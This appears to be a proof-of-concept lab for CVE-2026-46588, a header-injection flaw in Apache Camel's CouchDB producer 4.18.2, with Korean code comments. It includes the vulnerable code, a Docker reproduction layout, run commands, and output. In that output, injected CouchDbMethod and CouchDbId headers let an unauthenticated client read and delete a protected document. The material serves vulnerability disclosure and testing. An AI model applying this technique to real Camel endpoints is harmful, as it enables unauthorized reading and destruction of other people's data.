// CouchDbConstants (영향 받는 4.18.2) — 헤더 이름이 Camel이 아닌 CouchDb 접두사를 사용합니다:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";

// CouchDbProducer.process (영향 받는 4.18.2) — 헤더에서 작업을 선택합니다:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
    saveJsonElement(json);                                             // 기본값: 본문 저장
} else if (operation.equalsIgnoreCase("DELETE")) {
    deleteJsonElement(json);                                          // 본문의 _id/_rev로 삭제
} else if (operation.equalsIgnoreCase("GET")) {
    String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
    exchange.getIn().setBody(getElement(docId));                     // 임의 문서 읽기
}

from("platform-http:/ingest")
    .removeHeaders("Camel*")                                          // 문서화된 강화 조치 — 아래 참조
    .convertBodyTo(String.class)
    .to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");

CVE-2026-46588/
├── pom.xml                 # camel-platform-http + camel-couchdb 4.18.2 (gson 2.13.2로 고정, 참고 참조)
├── Dockerfile
├── docker-compose.yml      # couchdb 3.3 + 애플리케이션
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchDbSettings.java      # 호스트 / DB / 자격 증명 / 비밀 문서 ID + 마커
    │   ├── CouchDbHarness.java       # REST 하네스: CouchDB 대기, 비밀 문서 시드 + 읽기
    │   ├── VictimRoute.java          # platform-http:/ingest -> couchdb 프로듀서 (쓰기 전용 의도)
    │   └── ExploitController.java    # 공격자: 주입된 CouchDbMethod / CouchDbId 헤더로 POST /ingest
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build
# 애플리케이션 로그에서 "Started Application" 줄을 기다린 후:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

secret document in CouchDB (read straight from the database):
  {"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}

=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
  {"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
  { "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
  disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
  secret document now: <not found>
  destruction: true

>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.